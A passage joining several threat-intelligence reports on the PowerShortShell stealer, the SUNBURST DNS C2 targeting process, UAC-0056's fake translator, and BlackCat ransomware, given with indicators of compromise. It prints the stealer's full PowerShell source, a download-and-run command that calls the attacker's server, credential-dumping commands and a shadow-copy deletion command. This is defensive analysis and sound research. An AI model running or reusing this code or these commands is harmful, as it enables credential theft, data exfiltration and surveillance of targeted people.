cybercrime. It has become a common practice for attackers to threaten to disclose the stolen data unless the victim pays a ransom. Maze and Sodinokibi operators were the most active perpetrators of such attacks in Q2 2020. ## Ransomware Owners Are Not the Only Ones to Demand Ransom Other criminals have quickly caught up with the trend of demanding ransom for non-disclosure. For example, hackers are demanding a ransom from stores in order to not sell the stolen data to third parties. ## About the Research In this quarter's report, Positive Technologies shares information on the most important and emerging IT security threats. Information is drawn from our own expertise, outcomes of numerous investigations, and data from authoritative sources. In our view, the majority of cyberattacks are not made public due to reputational risks. The result is that even organizations that investigate incidents and analyze activity by hacker groups are unable to perform a precise count. This research is conducted to draw the attention of companies and ordinary individuals who care about the state of information security to the key motives and methods of cyberattacks, as well as to highlight the main trends in the changing cyberthreat landscape.
# New PowerShortShell Stealer Exploits Recent Microsoft MSHTML Vulnerability to Spy on Farsi Speakers **Author:** Tomer Bar **Summary** SafeBreach Labs discovered a new Iranian threat actor using a Microsoft MSHTML Remote Code Execution (RCE) exploit for infecting Farsi-speaking victims with a new PowerShell stealer. The threat actor initiated the attack in mid-September 2021, and it was first reported by ShadowChasing on Twitter. However, the PowerShell Stealer hash/code was not published and was not included in VirusTotal or other public malware repositories. SafeBreach Labs analyzed the full attack chain, discovered new phishing attacks which started in July this year, and achieved the last and most interesting piece of the puzzle – the PowerShell Stealer code – which we named PowerShortShell. The reason we chose this name is due to the fact that the stealer is a PowerShell script, short with powerful collection capabilities – in only ~150 lines, it provides the adversary a lot of critical information including screen captures, telegram files, document collection, and extensive data about the victim’s environment. Almost half of the victims are located in the United States. Based on the Microsoft Word document content – which blames Iran’s leader for the “Corona massacre” and the nature of the collected data, we assume that the victims might be Iranians who live abroad and might be seen as a threat to Iran’s Islamic regime. The adversary might be tied to Iran’s Islamic regime since the Telegram surveillance usage is typical of Iran’s threat actors like Infy, Ferocious Kitten, and Rampant Kitten. Surprisingly, the usage of exploits for the infection is quite unique to Iranian threat actors which in most cases heavily rely on social engineering tricks. In this research, we will explain the attack chain, which includes two different Microsoft Word exploit files, describe the information stealer malware capabilities (the full source code is provided in the appendix), provide a heat map of known victims, and explain the phishing attacks. ## Attack Sequence Overview First, we will provide an overview of the CVE-2021-40444 exploit’s steps: 1. **Step 1** – The attack starts by sending a spear phishing mail (with a Winword attachment) that the victim is lured to open. 2. **Step 2** – The Word file connects to the malicious server, executes the malicious HTML, and then drops a DLL to the %temp% directory. - A relationship stored in the xml file document.xml.rels points to a malicious HTML on the C2 server: mshtml:http://hr[.]dedyn[.]io/image.html. - The JScript within the HTML contains an object pointing to a CAB file and an iframe pointing to an INF file, prefixed with the “.cpl:” directive. - The CAB file is opened. Due to a directory traversal vulnerability in the CAB, it’s possible to store the msword.inf file in %TEMP%. 3. **Step 3** – The malicious DLL executes the PowerShell script. - The INF file is opened with the “.cpl:” directive, causing the side-loading of the INF file via rundll32: for example: ‘.cpl:../../../../../Temp/Low/msword.inf’. - Msword.inf is a DLL that downloads and executes the final payload (PowerShell script). - The PowerShell script collects data and exfiltrates it to the attacker’s C2 server. In the next few sections, we will go over each step and provide additional data and explanations. ## Detailed Attack Sequence ### First Step – The victim opens a Winword document in Farsi The first exploit document is called: Mozdor.docx. It includes images of Iranian soldiers. It exploits the CVE-2021-40444 vulnerability. The second exploit document is: یا ﻪﻨﻣﺎﺧ تﺎﯾﺎﻨﺟ.docx (Khamenei Crimes.docx). It says: “One week with Khamenei; Complain against the perpetrators of the Corona massacre, including the leader.” ### Step 2 – Exploit Microsoft MSHTML Remote Code Execution Vulnerability CVE-2021-40444 The Word files connect to the malicious server, execute the malicious HTML, and then drop a DLL to the %temp% directory. The mozdor.docx file includes an exploit in the file document.xml.rels. It executes mshtml:http://hr[.]dedyn[.]io/image.html, while the second docx executes mshtml:http://hr.dedyn.io/word.html. Word.html executes a DLL with an INF extension. It downloads and extracts http://hr.dedyn.io/word.cab, which includes a DLL with a directory traversal ..\Msword.inf which extracts and is executed by cpl:’.cpl:../../../../../Temp/Low/msword.inf’. ### Step 3 – The DLL executes PowerShell to download and execute 1.ps1 Msword.inf is the DLL used to download and execute PowerShortShell (1.ps1 script file): ```powershell powershell.exe -windowstyle hidden (new-object system.Net.WebClient).DownloadFile(‘http://hr.dedyn.io/1.ps1‘, ‘C:/windows/temp/1.ps1’) powershell.exe -windowstyle hidden -ExecutionPolicy Unrestricted -File “C:/windows/temp/1.ps1” ``` ### Final step – PowerShortShell – 1.ps1 The PowerShell code consists of 153 lines which support: - Exfiltration of system info and files to “https://hr.dedyn.io/upload.aspx?fn=” - Exfiltration of Telegram files to “https://hr.dedyn.io/upload2.aspx” ## Phishing The exploit attack described above started on September 15, 2021. We found that the adversary started two phishing campaigns by collecting credentials for Gmail and Instagram in July 2021 using the same C2 server – Deltaban[.]dedyn[.]io – a phishing HTML page masquerading as the legit deltaban.com travel agency. This is a phishing site. A click will transfer the victim to an Iranian short URL: https://yun[.]ir/jcccj. This URL will resolve to signin[.]dedyn[.]io/Social/GoogleFinish. The domain was registered in July 2021. The stolen credentials are stored in the file out.txt, which is of course available for browsing. One of the victims is probably of Indian origin. ### Instagram Phishing We also found that this site is used for Instagram credential theft: https://signin[.]dedyn[.]io/Social/Instagram/Account. The credentials are saved to the same out.txt file. ## Victims The exact victims are unknown but we were able to build a victims heat map. ## Appendix A – IOC’s All of the following resolved to 95.217.50.126: 1. hr.dedyn.io – C2 and infection server 2. signin.dedyn.io – phishing 3. Irkodex.dedyn.io – phishing 4. Deltaban.dedyn.io – phishing ### 1.ps1 – PowerShortShell - F69595FD06582FE1426D403844696410904D27E7624F0DCF65D6EA57E0265168 - Cab file which includes a DLL with directory traversal ..\Msword.inf - Ce962676090195a5f829e7baf013a3213b3b32e27c9631dc932aab2ce46a6b9b - Msword.inf – DLL to download and execute 1.ps1 - 5d7a683a6231a4dc0fcc71c4b6d413c6655c7a0e5c58452d321614954d7030d3 - E093cce6a4066aa37ed68121fe1464a3e130a3ce0fbb89e8b13651fd7dab842b - Jscript – part of the HTML file - 6e730b257c3e0c5ce6c73ff0f6732ad2d09f000b423085303a928e665dbbee16 - Word.html,image.html,index.html – HTML file exploit - 374239d2056a8a20b05d4bf4431a852af330f2675158afde8de71ac5b991e273 - B378a1136fddcd533cbdf7473175bf5d34f5eb86436b8eb651435eb3a27a87c6 - 11368964D768D7FA4AB48100B231790C3D23C45EEDFC7A73ACD7F3FEC703ACA7 - Document.xml.rels – XML files - 28ad066cfe08fcce77974ef469c32e4d2a762e50d6b95b8569e34199d679bde8 - 5AC4574929A8825A5D4F267544C33D02919AB38F38F21CE5C9389B67DF241B43 - Will download mshtml:http://hr.dedyn.io/image.html and http://hr.dedyn.io/word.html ### Docx infectors - D793193c2d0c31bC23639725b097a6a0ffbe9f60a46eabfe0128e006f0492a08 - Mozdor.docx - 0b90ef87dbbb9e6e4a5e5027116d4d7c4bc2824a491292263eb8a7bda8afb7bd ## Previous Related Research ## Appendix B – PowerShortShell Stealer source code ```powershell Remove-Item –path C:\Windows\Temp\1.ps1 Add-Type -assembly “system.io.compression.filesystem” $source = “C:\windows\temp\8f720a5db6c7” $destination = “https://hr.dedyn.io/upload.aspx?fn=” $destination2 = “https://hr.dedyn.io/upload2.aspx” $log = “c:\windows\temp\777.log” function Pos-Da($dest,$url) { try { $buffer = [System.IO.File]::ReadAllBytes($dest) [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url) $webRequest.Timeout = 10000000 $webRequest.Method = “POST” $webRequest.ContentType = “application/data” $requestStream = $webRequest.GetRequestStream() $requestStream.Write($buffer, 0, $buffer.Length) $requestStream.Flush() $requestStream.Close() [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse() $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream()) $result = $streamReader.ReadToEnd() $streamReader.Close() } catch { Write-Error $_.Exception.Message | out-file $log -Append } } function Get-ScreenCapture { param([Switch]$OfWindow) begin { Add-Type -AssemblyName System.Drawing $jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq “JPEG” } } process { Start-Sleep -Milliseconds 250 if ($OfWindow) { [Windows.Forms.Sendkeys]::SendWait(“%{PrtSc}”) } else { [Windows.Forms.Sendkeys]::SendWait(“{PrtSc}”) } Start-Sleep -Milliseconds 250 $bitmap = [Windows.Forms.Clipboard]::GetImage() $ep = New-Object Drawing.Imaging.EncoderParameters $ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100) $screenCapturePathBase = “$source\ScreenCapture” $c = 0 while (Test-Path “${screenCapturePathBase}${c}.jpg”) { $c++ } $bitmap.Save(“${screenCapturePathBase}${c}.jpg”, $jpegCodec, $ep) } } New-Item -ItemType directory -Path $source Get-WmiObject -class win32_computersystem | Out-File $source\summary.txt Get-WmiObject Win32_BIOS -computerName localhost | Out-File $source\bios.txt Get-WmiObject -Class “win32_PhysicalMemory” -namespace “root\CIMV2” | Out-File $source\ram.txt @(Get-WmiObject -class win32_processor | Select Caption, Description, NumberOfCores, NumberOfLogicalProcessors, Name, Manufacturer, SystemCreationClassName, Version) | Out-File $source\cpu.txt gwmi Win32NetworkAdapterConfiguration | Where { $_.IPAddress } | Select -Expand IPAddress | Out-File $source\ip.txt gwmi Win32_NetworkAdapterConfiguration | Out-File $source\NetworkAdapterConfig.txt get-WmiObject win32_logicaldisk | Out-File $source\disk.txt Get-Process | Out-File -filepath $source\process.txt Get-NetAdapter | Out-File $source\NetworkAdapter.txt #net view | Out-File $source\NetView.txt Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize | Out-File $source\apps.txt ipconfig /all | Out-File $source\ipConfig.txt netstat -ano | Out-File $source\netstat.txt arp -a -v | Out-File $source\arp.txt net user | Out-File $source\netuser.txt Get-CimInstance Win32_OperatingSystem | FL * | Out-File $source\os.txt Get-ExecutionPolicy -List | Out-File $source\policy.txt Get-Service | Out-File $source\service.txt Get-ScreenCapture $files = Get-ChildItem $source foreach ($file in $files) { Pos-Da -dest $file.FullName -url “$destination+$file” } $path = Split-Path -Path (Get-WMIObject Win32LogicalDisk -filter “DriveType = 3” | Select-Object DeviceID | ForEach-Object { Get-Childitem ($_.DeviceID + “\”) -Attributes !Directory,!Directory+Hidden -include Telegram.exe -recurse }) $index = 0 foreach ($a in $path) { try { $tempDwn = “C:\windows\temp\tdata{0}” -f $index New-Item -ItemType Directory -Force -Path $tempDwn”\D877F783D5D3EF8C” $source = $a + “\tdata\D877F783D5D3EF8C” if (Test-Path -Path $source) { $d8files = Get-ChildItem -Path $source | Where-Object {$_.Name.Contains(“map”)} | select FullName, Name foreach ($d8 in $d8files) { $mtemp = “{0}\D877F783D5D3EF8C\{1}” -f $tempDwn, $d8.Name Copy-Item $d8.FullName -Destination $mtemp } } else { continue } $tempFiles = Get-ChildItem -Path $a + “\tdata” | Where-Object {$_.PSIsContainer -eq $false} | select FullName, Name foreach ($file in $tempFiles) { try { $destTemp = “{0}\{1}” -f $tempDwn, $file.Name Copy-Item $file.FullName -Destination $destTemp } catch {} } echo $tempDwn $dest = “C:\windows\temp\tdata{0}.zip” -f $index [io.compression.zipfile]::CreateFromDirectory($tempDwn, $dest) Start-Sleep -s 15 Pos-Da -dest $dest -url $destination2 } catch { Write-Error $_.Exception.Message | out-file $log -Append } $index++ Start-Sleep -s 15 Remove-Item –path $dest Remove-Item –path $tempDwn -Recurse } $files = (Get-WMIObject Win32LogicalDisk -filter “DriveType = 3” | Select-Object DeviceID | ForEach-Object { Get-Childitem ($_.DeviceID + “\”) -include .doc,.docx,.pptx,.pdf,.txt,.xls,.xlsx,.bak,.db,.mdb,*.accdb -recurse }) foreach ($file in $files) { $destUrl = “{0}{1}” -f $destination, $file.Name Pos-Da -dest $file.FullName -url $destUrl Start-Sleep -s 5 } Remove-Item –path $source -Recurse Remove-Item -path $log ```
# Targeting Process for the SolarWinds Backdoor The SolarWinds Orion backdoor, known as SUNBURST or Solorigate, has been analyzed by numerous experts from Microsoft, FireEye, and several anti-virus vendors. However, many of the published reports are either lacking or incorrect in how they describe the steps involved when a client gets targeted by the threat actors. We have therefore decided to publish this writeup, which is based on the analysis we did of the SolarWinds backdoor when creating our SunburstDomainDecoder tool. ## UPDATE March 1, 2021 Fixed errors in the Stage 2 beacon structure and added a CyberChef recipe link. ### avsvmcloud.com DNS queries are not DGA related The DNS communication between the backdoored SolarWinds Orion clients and the authoritative name server for avsvmcloud.com is not caused by a Domain Generation Algorithm (DGA); it's actually a fully functional two-way communication C2 channel. The clients encode information, such as the internal AD domain and installed security applications into the DNS queries, and the DNS responses from the name server are used to instruct the clients to continue beaconing, stop beaconing, or to target a client by proceeding to what we call Stage 2 operation. Thus, the authoritative name server for avsvmcloud.com was actually the C2 server for Stage 1 and 2 operation of the SolarWinds backdoor. ### Command: Continue Beaconing The default response from the name server is the "Continue Beaconing" command, which indicates that the threat actors have not yet decided if the SolarWinds client is of interest for further activity. Receiving a DNS A record in any of the following net ranges instructs the SolarWinds backdoor to continue beaconing: - 8.18.144.0/23 - 71.152.53.0/24 - 87.238.80.0/21 - 199.201.117.0/24 In "Stage 1" operation, the SUNBURST client starts out in the "New" mode where it exfiltrates the internal AD domain name. The AD domain data is often split into multiple DNS queries to reduce the length of each DNS query. The client later proceeds to the "Append" mode when the full AD domain has been exfiltrated. In "Append" mode, the client transmits a list of installed or running security applications to the DNS C2 server. The client remains in Append mode until it gets either terminated or targeted. Note: It is also possible to reset a client back to the "New" mode with a so-called "Ipx" command, but that is out of scope for this blog post. ### Command: Stop Beaconing The stop beaconing command terminates the DNS beaconing, so that the client no longer retrieves any commands from the C2 server. The C2 communication is stopped after receiving a DNS A or AAAA record in any of the following ranges: - 20.140.0.0/15 - 96.31.172.0/24 - 131.228.12.0/22 - 144.86.226.0/24 - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 224.0.0.0/3 - fc00:: - fe00:: - fec0:: - ffc0:: - ff00:: ### Command: Target Client A SUNBURST client that has been "targeted" will change a flag called rec.dnssec in the source code from false to true. We call this flag the "Stage 2" flag, which must be set in order for the client to accept a CNAME record and proceed to Stage 3. A DNS A record in any of the following three IP ranges can be used to set the "Stage 2" flag: - 18.130.0.0/16 - 99.79.0.0/16 - 184.72.0.0/15 The state of the Stage 2 flag is actually signaled in the avsvmcloud.com DNS queries, which is how we managed to identify the AD domains of 23 targeted organizations just by analyzing SUNBURST DNS queries. ### Stage 2 DNS Request Structure The structure of the SUNBURST DNS queries in Stage 1 is pretty well described by Prevasio and Symantec, so we will not cover those in this blog post. Instead, we will focus specifically on the structure of the DNS queries transmitted in Stage 2 operation, where the clients request a CNAME record from the name server. As we have explained previously, the exfiltrated data gets base32 encoded, using the custom alphabet "ph2eifo3n5utg1j8d94qrvbmk0sal76c", in order to ensure that only valid domain name characters are used in the DNS beacons. The structure of the Stage 2 request, before it gets base32 encoded and appended as an avsvmcloud.com subdomain, looks like this: | Field | Size | Description | |--------------|----------|-----------------------------------------------------------------------------| | XOR Key | 8 bits | A value between 0x01 and 0x7F used to XOR encrypt the rest of the data. | | GUID | 64 bits | Client ID encrypted using 16 bit rotating XOR with the last 15 bits of Timestamp and the Stage 2 flag. | | Packet Type | 4 bits | A value of 0x1, could in theory be 0x2 but that's very unlikely. | | Timestamp | 19 bits | Number of 30 minute periods since start of 2010 (UTC). | | Stage 2 Flag | 1 bit | A flag set to "1" in Stage 2 operation, otherwise "0". | The base32 encoding not only uses a custom alphabet, it also employs a reversed endianness and byte order compared to "normal" implementations. We have created a CyberChef recipe that performs this custom base32 decoding, so that the structure can be verified more easily. A list with 45 different Stage 2 avsvmcloud.com subdomains can be found in our Finding Targeted SUNBURST Victims with pDNS blog post. Feel free to replace the input to our CyberChef recipe with any of those subdomains. ### Sleep Timers The DNS responses from the name server not only control how the SolarWinds backdoor should transition between the various stages, but also control for how long the backdoor should wait before sending the next DNS beacon. The delay is assigned by AND-ing the last octet of the received IP address with bitmask 0x54. The result from the AND operation is then used to select a sleep interval in the table below, within which the client picks a random number of minutes to sleep. | AND Result | Name | Sleep Interval | |------------|-----------|---------------------------| | 0x00 | 1 hour | 30-120 minutes | | 0x04 | 4 hours | 240-300 minutes | | 0x10 | 8 hours | 480-600 minutes | | 0x14 | 1 day | 1440-1560 minutes | | 0x40 | 3 days | 4320-5760 minutes | | 0x44 | 1 week | 10020-10140 minutes | | 0x50 | 2 weeks | 20100-20220 minutes | | 0x54 | 1 month | 43140-43260 minutes | An exception to the table above is clients that have entered Stage 2, which will only wait one to three minutes before requesting a CNAME. ### Example DNS C2 for a Non-Targeted Client Below is an example of DNS queries and responses from a SUNBURST client that wasn't targeted by the threat actors. These particular queries and responses come from a post on SolarWinds' community forum. - **2020-07-04 00:03 UTC** - Query: if9prvp9o36mhihw2hrs260g12eu1 ⇒ AD domain "omeros.local" - Response: 8.18.145.139 ⇒ sleep 1h, then Continue - **2020-07-04 01:08 UTC** - Query: hnhb3v1b37dvv09icg0edp0 ⇒ Carbon Black is running - Response: 8.18.145.62 ⇒ sleep 1 day, then Continue - **2020-07-05 01:15 UTC** - Query: ea99hr2sfen95nkjlc5g ⇒ Nothing new to report - Response: 8.18.144.150 ⇒ sleep 1 day, then Continue - **2020-07-06 02:42 UTC** - Query: 707gigk9vbc923hf27fe ⇒ Nothing new to report - Response: 8.18.145.151 ⇒ sleep 1 day, then Continue - **2020-07-07 03:52 UTC** - Query: 6eivqct649pcg0g16ol4 ⇒ Nothing new to report - Response: 20.140.84.127 ⇒ Stop DNS beacon Note: Queried domain names in this list are subdomains of appsync-api.eu-west-1.avsvmcloud.com. ### Example DNS C2 for a Targeted Client Disclaimer: We have very few DNS queries and responses for targeted victims; hence the transactions below are improvised based on data from VriesHd, Joe Słowik, and FireEye. Please view these transactions as an example of what the communication might look like for a targeted victim rather than what actually happened to this particular target. - **2020-06-11 04:00 UTC** - Query: r8stkst71ebqgj66ervisu10bdohu0gt ⇒ AD domain, part 1 "central.pima.g" - Response: 8.18.144.1 ⇒ Sleep 1h, then Continue - **2020-06-11 05:00 UTC** - Query: ulfmcf44qd58t9e82w ⇒ AD domain, part 2 "ov" - Response: 8.18.144.2 ⇒ Sleep 1h, then Continue - **2020-06-11 06:00 UTC** - Query: p50jllhvhmoti8mpbf6p2di ⇒ Nothing to report - Response: 8.18.144.16 ⇒ Sleep 8h, then Continue - **2020-06-11 14:00 UTC** - Query: (?) ⇒ Nothing new to report - Response: 8.18.144.17 ⇒ Sleep 8h, then Continue - **2020-06-11 22:35 UTC** - Query: j5uqlssr1hfqnn8hkf172mp ⇒ Nothing to report - Response: 184.72.181.52 ⇒ Target client for Stage 2 operation (1-3 minutes sleep) - **2020-06-11 22:37 UTC** - Query: 7sbvaemscs0mc925tb99 ⇒ Client in Stage 2 operation, requesting CNAME - Response: deftsecurity.com ⇒ CNAME for Stage 3 HTTPS C2 server Note: Queried domains in this list are subdomains of appsync-api.us-west-2.avsvmcloud.com. ## Conclusions We hope this blog post clears up any misunderstandings regarding the targeting process of the SolarWinds backdoor and highlights the significance of the Stage 2 flag. We warmly welcome any feedback or questions you might have regarding this writeup.
# Threat Actor UAC-0056 Targeting Ukraine with Fake Translation Software **March 15, 2022** ## Overview SentinelOne has identified new malicious activity associated with the UAC-0056 (SaintBear, UNC2589, TA471) alert, in which the threat actor was observed targeting Ukraine with Cobalt Strike, GrimPlant, and GraphSteel. This previously undiscovered set of activity centers around a Python-compiled binary that masquerades as Ukrainian language translation software, leading to the infection of GrimPlant and GraphSteel. SentinelOne assesses UAC-0056’s GrimPlant and GraphSteel activity began in early February 2022, while preparation for its use began at least as early as December 2021. ## Dictionary Translator SentinelOne has identified two files with names and paths correlating to the GraphSteel and GrimPlant malware referred to in the report by CERT-UA. ``` C:\Users\user\.java-sdk\microsoft-cortana.exe d77421caae67f4955529f91f229b31317dff0a95 C:\Users\user\.java-sdk\oracle-java.exe ef5400f6dbf32bae79edb16c8f73a59999e605c7 ``` The two files identified are Go binaries dropped by the executable (dictionary-translator.exe). Dictionary-translator is a Python compiled binary that functions as a 45 MB translation application. Notably, this file was first uploaded to VirusTotal on February 11th, 2022. ## Translation Application The Dictionary-translator binary is downloaded from the potentially actor-controlled domain: `hxxps://dictionary-translator[.]eu/program/dictionary-translator.exe`. On launch, the translator application drops and executes four malicious files. These correlate to those described in the report by the Ukrainian CERT, three by name and path and one by functionality and path. | Matched File Path | UA-CERT Report Link (MD5) | |-------------------------------------------------------|-------------------------------------------------| | \Users\user\AppData\Local\Temp\tmpj43i5czq.exe | 15c525b74b7251cfa1f7c471975f3f95 | | \Users\user\.java-sdk\java-sdk.exe | c8bf238641621212901517570e96fae7 | | \Users\user\.java-sdk\microsoft-cortana.exe | 9ea3aaaeb15a074cd617ee1dfdda2c26 | | \Users\user\.java-sdk\oracle-java.exe | 4f11abdb96be36e3806bada5b8b2b8f8 | ## Post-Compromise Activity Upon execution, the GraphSteel variant of the malware will run a set of reconnaissance and credential harvesting commands, again similar to those described in the report. ``` netsh wlan show profiles [void] [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=W = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % { $_.RetrievePassword();$_} | Select UserName, Resource, Password | Format-Table -HideTableHeaders reg query HKCU\Software\SimonTatham\Putty\Sessions ``` Additionally, the malware achieves persistence by setting the current user’s registry CurrentVersion\Run value to execute the Go downloader at logon: ``` Key: HKU\%SID%\Software\Microsoft\Windows\CurrentVersion\Run\Java-SDK Value: \Users\user\.java-sdk\java-sdk.exe -a FIAjtW4f+IgCUrs3hfj9Lg== ``` The variant discovered by SentinelOne attempts to connect to a different server using a similar pattern, attempting to establish an HTTP connection over port 443 to a single character letter URI: `hxxp://91.242.229.35:443/i`. ## Clarification on Threat Actor UAC-0056 UAC-0056 has a history of public reporting but is most commonly known as UNC2589 (Mandiant) and TA471 (Proofpoint), among others. This actor is believed to be behind the WhisperGate activity in early January 2022 impacting government agencies in Ukraine. Based on our analysis, the actor was potentially building the infrastructure for the GrimPlant and GraphSteel campaign beginning in December 2021. ## Indicators of Compromise | IOC / SHA1 | Description | |----------------------------------------------------|-----------------------------------------------| | dictionary-translator[.]eu | Dictionary-translator.exe Download Server | | 91.242.229[.]35:443/i | Go Downloader C2 | | 3eec65c8ac25682d9e7d293ca9033c8a841f4958 | Go Downloader | | d77421caae67f4955529f91f229b31317dff0a95 | GraphSteel Linked | | ef5400f6dbf32bae79edb16c8f73a59999e605c7 | GrimPlant Linked | | 3847ca79b3fd52b105c5e43b7fc080aac7c5d909 | Dictionary-translator Program |
# A Bad Luck BlackCat **Authors** GReAT In early December 2021, a new ransomware actor started advertising its services on a Russian underground forum. They presented themselves as ALPHV, a new generation Ransomware-as-a-Service (RaaS) group. Shortly afterwards, they dialed up their activity, infecting numerous corporate victims around the world. The group is also known as BlackCat. One of the biggest differences from other ransomware actors is that BlackCat malware is written in Rust, which is unusual for malware developers. Their infrastructure websites are also developed differently from other ransomware groups. Due to Rust’s advanced cross-compilation capabilities, both Windows and Linux samples appear in the wild. In other words, BlackCat has introduced incremental advances and a shift in technologies to address the challenges of ransomware development. The actor portrays itself as a successor to notorious ransomware groups like BlackMatter and REvil. The cybercriminals claim they have addressed all the mistakes and problems in ransomware development and created the perfect product in terms of coding and infrastructure. However, some researchers see the group not only as the successors to the BlackMatter and REvil groups, but as a complete rebranding. Our telemetry suggests that at least some members of the new BlackCat group have links to the BlackMatter group, because they modified and reused a custom exfiltration tool we call Fendr, which has only been observed in BlackMatter activity. This use of a modified Fendr, also known as ExMatter, represents a new data point connecting BlackCat with past BlackMatter activity. The group attempted to deploy the malware extensively within organizations in December 2021 and January 2022. BlackMatter prioritized collection of sensitive information with Fendr to successfully support their scheme of double coercion. In addition, the modification of this reused tool demonstrates a more sophisticated planning and development regimen for adapting requirements to target environments, characteristic of a maturing criminal enterprise. ## Two incidents of special interest Two recent BlackCat incidents stand out as particularly interesting. One demonstrates the risk presented by shared cloud hosting resources, and the other demonstrates an agile approach to customized malware re-use across BlackMatter and BlackCat activity. In the first case, it appears the ransomware group penetrated a vulnerable ERP provider in the Middle East hosting multiple sites. The attackers delivered two different executables simultaneously to the same physical server, targeting two different organizations virtually hosted there. The initial access was mistaken by the attackers for two different physical systems and drives to infect and encrypt. The kill chain was triggered prior to the “pre-encryption” activity, but the real point of interest here lies in the shared vulnerabilities and the demonstrable risk of shared assets across cloud resources. At the same time, the group also delivered a Mimikatz batch file along with executables and Nirsoft network password recovery utilities. In a similar incident dating back to 2019, REvil, a predecessor of BlackMatter, appears to have penetrated a cloud service supporting a large number of dental offices in the US. Perhaps this same affiliate has reverted to some old tactics. The second case involves an oil, gas, mining, and construction company in South America. This related incident further connects BlackMatter ransomware activity with BlackCat. Not only did the affiliate behind this ransomware incident attempt to deliver BlackCat ransomware within the target network, but approximately 1 hour 40 minutes before its delivery, they installed a modified custom exfiltration utility that we call Fendr. Also known as ExMatter, this utility had previously been used exclusively in BlackMatter ransomware activity. Here, we can see that the BlackCat group increased the number of file extensions for automatic collection and exfiltration by the tool: **Fendr file extensions** .doc, .docx, .xls, .xlsx, .xlsm, .pdf, .msg, .ppt, .pptx, .sda, .sdm, .sdw, .zip, .json, .config, .ts, .cs, .sqlite, .aspx, .pst, .rdp, .accdb, .catpart, .catproduct, .catdrawing, .3ds, .dwt, .dxf, .csv These additional file extensions are used in industrial design applications, like CAD drawings and some databases, as well as RDP configuration settings, making the tool more customized towards the industrial environments that we see being targeted by this group. If we believe the PE header timestamp, the group compiled this Fendr modification just a few hours before its initial use. One of the organizations targeted with the Fendr exfiltration tool has branches all over the world, resulting in a surprising mix of locations. Not all of the systems received a ransomware executable. ## Technical details - **MD5**: B6B9D449C9416ABF96D21B356A41A28E - **SHA1**: 38fa2979382615bbee32d1f58295447c33ca4316 - **SHA256**: be8c5d07ab6e39db28c40db20a32f47a97b7ec9f26c9003f9101a154a5a98486 - **Compiler**: Rust - **Filesize**: 2.94 MB The analyzed BlackCat ransomware file “<xxx>_alpha_x86_32_windows_encrypt_app.exe” is a 32-bit Windows executable file that was coded in Rust. The resulting Rust compiled binaries use the Rust standard library with a lot of safety checks, memory allocations, string processing, and other operations. They also include various external crates with libraries for required functionality, like Base64, AES encryption, etc. This particular language, and its compilation overhead, makes disassembly analysis more complicated. However, with the proper approach and Rust STD function signatures applied in IDA (or your disassembler of choice, for example Ghidra), it’s possible to understand the full malware capabilities with static analysis. Additional Rust library usage can be obtained from strings in clear form as no obfuscation is whatsoever used by the malware. Rust is a cross-compilation language, so a number of BlackCat Linux samples quickly appeared in the wild shortly after their Windows counterparts. This BlackCat sample is a command line application. After execution, it checks the command line arguments provided. BlackCat is an affiliate actor. This means it provides infrastructure, malware samples, ransom negotiations, and probably cash-out. Anyone who already has access to compromised environments can use BlackCat’s samples to infect a target. A little help with ransomware execution is likely to come in handy. The command line arguments are pretty self-explanatory. Some are related to VMs, such as wiping or not wiping VM snapshots or stopping VM on ESXi. It’s also possible to select specific file folders to process or execute malware as a child process. Shortly after execution, the malware gets the “MachineGuid” from the corresponding Windows registry key. This GUID will be used later in the encryption key generation process. The malware then gets a unique machine identifier (UUID) using a WMIC query executed as a separate command by creating a new cmd.exe process. This UUID is used together with the “–access-token” command-line argument to generate a unique ACCESS_KEY for victim identification. BlackCat ransomware uses Windows named pipes for inter-process communication. For example, data returned by the cmd.exe process will be written into named pipes and later processed by malware. The names of the pipes are not unique and are hard-coded into malicious samples. The malware checks which version of the Windows operating system it’s being executed under. That is done using the fairly standard technique of getting this information from the Process Environment Block structure. The operating system version is required to implement a proper Privilege Escalation technique such as: - Simple process token impersonation - COM elevation moniker UAC Bypass The malware uses a previously known technique, used by LockBit ransomware, for example, to exploit an undocumented COM object (3E5FC7F9-9A51-4367-9063-A120244FBEC7). It is vulnerable to the CMSTPLUA UAC bypass. Using “cmd.exe,” malware executes a special command: `fsutil behavior set SymlinkEvaluation R2L:1` This command adjusts the behavior of the Windows file system symlinks. It allows the malware to follow shortcuts with remote paths. Another command executed as part of pre-encryption is: `vssadmin.exe delete shadows /all /quiet` This is almost standard for any ransomware and deletes all Windows shadow copy backups. Then the malware gets a list of services to be killed, as well as files and folders to be excluded from the encryption process, kills processes, and starts encryption using separate working threads. This particular sample was observed to be run with “–access-token xxx –no-prop-servers \\xxx –propagated” command line parameters. In addition to the activity detailed above, the malware will attempt to propagate, but will not re-infect the server that it is attempting to run on. It will perform a hard stop on any IIS services hosted on the system with “iisreset.exe /stop,” check the local area network for immediately reachable systems with “arp -a,” and increase the upper limit on the number of concurrent commands that can be outstanding between a client and a server by increasing the MaxMpxCt to the maximum allowed with: `cmd /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f` Also, it is notable that the group uses a compressed version of PsExec to spread laterally within an organization, as was observed with the remote execution of this sample. The malware appends an extension to the encrypted files, but the exact extension varies from sample to sample. The extension can be found hard-coded in the malware’s JSON formatted configuration file. For encryption, the malware used the standard “BCryptGenRandom” Windows API function to generate encryption keys. AES or CHACHA20 algorithms are used for file encryption. The global public key that is used to encrypt local keys is extracted from the configuration file. Most of these executables maintain a hard-coded set of username/password combinations that were stolen earlier from the victim organization for use during propagation and privilege escalation. There often appears to be almost half a dozen accounts, and a combination of domain administrative and service level credentials. This means the individual executable is compiled specifically for the target organization, containing sensitive information about the organization. After the encryption process, the malware drops a ransomware note with details on how to contact the BlackCat ransomware operators. ## Conclusion After the REvil and BlackMatter groups 